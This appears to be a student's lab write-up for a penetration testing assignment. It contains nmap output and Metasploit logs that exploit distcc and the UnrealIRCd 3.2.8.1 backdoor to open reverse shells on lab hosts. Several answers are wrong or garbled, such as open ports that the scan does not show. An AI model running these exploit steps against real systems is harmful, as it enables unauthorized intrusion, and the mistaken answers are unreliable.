

```
(kali㉿kali)-[~]
$ nmap -p- 10.10.10.140-150
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-16 22:40 EST
Nmap scan report for 10.10.10.143
Host is up (0.034s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE SERVICE
3632/tcp  open  distccd
4444/tcp  open  krb524
41313/tcp open  unknown
49514/tcp open  unknown

Nmap scan report for 10.10.10.147
Host is up (0.034s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE
6667/tcp  open  irc
6697/tcp  open  ircs-u
37903/tcp open  unknown

Nmap done: 11 IP addresses (2 hosts up) scanned in 35.67 seconds
```

- a. [1 pt] What is the IP address of the server? 10.10.10.143
  - b. [1 pt] What ports are open on the server? 4444/tcp, 8009/tcp, 8180/tcp
  - c. [1 pt] What is the vulnerable service running on the server? Explain the service and the version.  
8081/tcp is a vulnerable service. port 8180 provides an unreliable service and datagrams may arrive duplicated, out of order, or missing without notice.
  - d. [1 pt] Use Metasploit to get a shell on the server. What exploit and payload combination worked for you? Exploit used was unix/misc/distcc and payload was payload/cmd/unix/reverse

```
msf6 > use exploit/unix/misc/distcc_exec
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 10.10.10.143
RHOSTS => 10.10.10.143
msf6 exploit(unix/misc/distcc_exec) > show payloads
Compatible Payloads
```

```
mand Shell, Double Reverse TCP SSL (telnet) [msfadmin] -[~]
sf6 exploit(unix/misc/distcc_exec) > set payload payload/cmd/unix/reverse
ayload => cmd/unix/reverse
sf6 exploit(unix/misc/distcc_exec) > exploit
[*] Started reverse TCP double handler on 10.10.10.65:4444 directory: msfadmin
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo 824SnHsDpj5QgfUU;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "sh: line 3: Escape: command not found\r\n824SnHsDpj5QgfUU\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (10.10.10.65:4444 → 10.10.10.143:55196) at 2024-02-16 0.10.10.143
22:53:39 -0500
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
```

- a. [1 pt] What is the IP address of the server? 10.10.10.147
- b. [1 pt] What ports are open on the server? 6667/tcp, 6697/tcp, 37903/tcp
- c. [1 pt] What is the vulnerable service running on the server? Explain the service and the version. 6667 is vulnerable.
- d. [1 pt] Use Metasploit to get a shell on the server. What exploit and payload combination worked for you? exploit/exploit/unix/irc/unreal\_ircd\_3281\_backdoor was used.

```
kali-linux-2023.3-vmware-a... X | 1 2 3 4 | E Shell No. 1

File Actions Edit View Help

0 exploit/linux/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No Unre
alIRC 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/irc/unreal_ircd_3281_backdoor

msf6 exploit(unix/misc/distcc_exec) > use 0
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
#
# Name
option
- -
0 payload/cmd/unix/adduser
er with useradd
1 payload/cmd/unix/bind_perl
ommmand Shell, Bind TCP (via Perl)
2 payload/cmd/unix/bind_perl_ipv6
ommmand Shell, Bind TCP (via perl) IPv6
3 payload/cmd/unix/bind_ruby
ommmand Shell, Bind TCP (via Ruby)
4 payload/cmd/unix/bind_ruby_ipv6
ommmand Shell, Bind TCP (via Ruby) IPv6
5 payload/cmd/unix/generic
ommmand, Generic Command Execution
6 payload/cmd/unix/reverse
ommmand Shell, Double Reverse TCP (telnet)
7 payload/cmd/unix/reverse_bash_telnet_ssl
ommmand Shell, Reverse TCP SSL (telnet)
8 payload/cmd/unix/reverse_perl
ommmand Shell, Reverse TCP (via Perl)
9 payload/cmd/unix/reverse_perl_ssl
ommmand Shell, Reverse TCP SSL (via perl)
10 payload/cmd/unix/reverse_ruby
ommmand Shell, Reverse TCP (via Ruby)
11 payload/cmd/unix/reverse_ruby_ssl
ommmand Shell, Reverse TCP SSL (via Ruby)
12 payload/cmd/unix/reverse_ssl_double_telnet
ommmand Shell, Double Reverse TCP SSL (telnet)

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > use cmd/unix/reverse
msf6 payload(cmd/unix/reverse) >
```

```
Encrypted Reverse TCP Stager
  1389  payload/windows/encrypted_shell/reverse_tcp
TCP Stager
  1390  payload/windows/encrypted_shell_reverse_tcp

msf6 auxiliary(admin/http/tomcat_administration) > show options

Module options (auxiliary/admin/http/tomcat_administration):
+-- Name      Current Setting  Required  Description
   -- Proxies          no        A proxy chain of format type:host:port[,type:host:port][.]
   -- RHOSTS          yes
   -- RPORT          8180     yes        The target port (TCP)
   -- SSL            false     no         Negotiate SSL/TLS for outgoing connections
   -- THREADS         1        yes        The number of concurrent threads (max one per host)
   -- TOMCAT_PASS    no        The password for the specified username
   -- TOMCAT_USER    no        The username to authenticate as
   -- VHOST           no        HTTP server virtual host

View the full module info with the info, or info -d command.

msf6 auxiliary(admin/http/tomcat_administration) > set RHOSTS 10.10.10.143
RHOSTS => 10.10.10.143
msf6 auxiliary(admin/http/tomcat_administration) > set payloads payload/windows/x64/shell/bind_tcp
[!] Unknown datastore option: payloads.
payloads => payload/windows/x64/shell/bind_tcp
msf6 auxiliary(admin/http/tomcat_administration) > set payloads payload/windows/shell_bind_tcp
payloads => payload/windows/shell_bind_tcp
msf6 auxiliary(admin/http/tomcat_administration) > exploit

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```